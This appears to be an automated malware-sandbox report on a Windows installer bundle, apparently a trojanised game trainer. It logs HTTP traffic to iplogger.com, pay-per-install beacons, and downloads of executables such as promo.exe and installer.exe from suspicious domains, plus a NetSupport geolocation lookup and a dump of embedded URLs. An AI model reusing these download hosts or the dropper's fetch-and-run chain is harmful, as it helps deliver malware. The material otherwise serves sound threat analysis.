Source: global traffic	HTTP traffic detected: GET /tools/pso/ping?as=chrome&brand=ONGR&pid=&hl=en&events=C1I,C2I,C7I,C1S,C7S&rep=2&rlz=C1:,C2:,C7:&id=00000000000000000000000000000000000000006416C752B8 HTTP/1.1Host: clients1.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /1gWvm4 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: iplogger.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1gYvm4 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: iplogger.comConnection: Keep-AliveCookie: 513648751722101843=3; clhf03028ja=102.165.48.83
Source: global traffic	HTTP traffic detected: GET /ill.php?p=3890&t=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ==&sub=&ps=655ed8e14a15c HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: sparksteam.site
Source: global traffic	HTTP traffic detected: GET /pe/buildIN.php?sub=&source=3890&s1=47670100&title=cml2ZXItY2l0eS1yaXZhbC1zaG93ZG93bi10cmFpbmVyLTE1LXYxLTgtLmV4ZQ%3D%3D&ti=1701869581 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: sidemark.xyz
Source: global traffic	HTTP traffic detected: GET /pill.php HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: sparksteam.site
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /track_inl2.php?tim=1701869569&poid=2598&p=1.25 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: send.planewool.xyz
Source: global traffic	HTTP traffic detected: GET /ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=1701869569 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: false.apparelsilver.xyz
Source: global traffic	HTTP traffic detected: GET /installer.exe HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: kapetownlink.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=1701869569 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: false.apparelsilver.xyz
Source: global traffic	HTTP traffic detected: GET /load/1509/promo.exe HTTP/1.1Accept: /User-Agent: InnoDownloadPlugin/1.5Host: ambadevgroup.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stats/3/0/0 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: mysoftwareusa.info
Source: global traffic	HTTP traffic detected: GET /stats/3/1/0 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: mysoftwareusa.info
Source: global traffic	HTTP traffic detected: GET /archives/5 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.3Host: mysoftwareusa.info
Source: global traffic	HTTP traffic detected: GET /archives/7 HTTP/1.1User-Agent: InnoDownloadPlugin/1.4.5Host: mysoftwareusa.info

Source: v113.exe, 00000020.00000000.2555915607.00000000005A8000.00000002.00000001.01000000.00000022.sdmp, v113.exe, 00000020.00000002.2749711024.00000000005A8000.00000002.00000001.01000000.00000022.sdmp	String found in binary or memory: NShlwapi.dllShell32.dllbinSoftware\JavaSoft\Java Development Kit\JavaHomeSoftware\JavaSoft\Java Runtime Environment\FlashWindowFlashWindowExKernel32.dllGetPackagePathhttp://www.yahoo.comhttp://www.google.comTESThttp://www.example.comtin9999.tmp.partattachmentHEAD "=charsetfilename123DLDutf-8POSTISO-8859-1utf-16AdvancedInstallerUS-ASCIILocal Network ServerGET/FTP ServerRange: bytes=%u- equals www.yahoo.com (Yahoo)
Source: a1.exe, 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmp, a1.exe, 00000014.00000000.2293954187.00000000003CC000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: \.FlashWindowExFlashWindowKernel32.dllGetPackagePathhttp://www.example.comTESThttp://www.google.comhttp://www.yahoo.comtin9999.tmpGETattachment.partfilenamecharset= "POSTutf-8DLD123US-ASCIIAdvancedInstallerutf-16ISO-8859-1/HTTP/1.0Local Network ServerFTP ServerContent-Type: application/x-www-form-urlencoded; charset=utf-8 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: sparksteam.site

Source: unknown

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2483Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1701869563912&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://%s/fakeurl.htm
Source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://%s/testpage.htm
Source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: shi4D3B.tmp.33.dr	String found in binary or memory: http://.css
Source: shi4D3B.tmp.33.dr	String found in binary or memory: http://.jpg
Source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://127.0.0.1
Source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/
Source: setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exe
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exeZ
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://231005002055611.bcn.lca62.shop/f/fvgbu1005611.exev
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/cps.html0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/last.crl0G
Source: a1.exe, 00000014.00000003.2318044040.00000000043E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acedicom.edicomgroup.com/doc0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv1.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv10.crl0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv2.crl0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv5.crl0
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555386282.0000000003740000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exe
Source: setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exe1
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeD
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeData
Source: setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exeS7.tmp
Source: setup.tmp, 00000004.00000002.4555386282.0000000003740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exea62
Source: setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exet
Source: setup.tmp, 00000004.00000002.4546268057.0000000000831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ambadevgroup.info/load/1509/promo.exe~
Source: setup.tmp, 00000004.00000002.4559403605.0000000010038000.00000002.00000001.01000000.00000009.sdmp, setup.tmp, 00000004.00000002.4557123919.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4543921017.000000000018F000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org/mitrich_k/inno-download-plugin
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0g
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/crl/MTINAutoridadRaiz03
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca.mtin.es/mtin/ocsp0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: a1.exe, 00000014.00000002.2489356662.0000000004320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertD
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2548000487.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crt0
Source: a1.exe, 00000014.00000002.2488308459.000000000118F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG
Source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547912168.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000002.2922284466.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2547801636.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: a1.exe, 00000014.00000002.2489356662.0000000004320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.c
Source: a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490509551.00000000061F0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: a0.tmp, 00000007.00000003.2226960209.0000000005842000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316303508.00000000043CF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490509551.00000000061F0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534296256.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001F.00000003.2534256836.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oati.net/repository/OATICA2.crl0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oati.net/repository/OATICA2.crt0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oaticerts.com/repository/OATICA2.crl
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://certs.oaticerts.com/repository/OATICA2.crt08
Source: a1.exe, a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr	String found in binary or memory: http://collect.installeranalytics.com
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: a1.exe, 00000014.00000003.2316689175.0000000004341000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316716305.0000000004342000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cps.siths.se/sithsrootcav1.html0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: a1.exe, 00000014.00000003.2317333312.00000000043F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.defence.gov.au/pki0
Source: a1.exe, 00000014.00000003.2316491925.000000000435E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl0
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: expand.exe, 0000000A.00000003.2221562251.00000000005CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.oces.trust2408.com/oces.crl0
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.postsignum.cz/crl/psrootqca4.crl02
Source: a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.postsignum.eu/crl/psrootqca4.crl0
Source: a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: a1.exe, 00000014.00000003.2316868836.0000000004324000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317160939.0000000004328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: a1.exe, 00000014.00000003.2316716305.000000000433F000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
